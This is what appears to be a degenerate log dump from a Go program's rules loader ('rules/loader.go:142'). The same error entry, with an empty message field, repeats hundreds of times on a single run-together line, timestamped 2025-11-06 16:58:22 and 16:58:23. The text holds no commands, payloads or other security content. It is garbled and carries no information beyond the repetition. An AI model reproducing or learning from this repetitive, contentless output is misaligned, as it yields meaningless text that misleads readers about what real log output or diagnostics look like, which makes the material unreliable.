source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:22+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 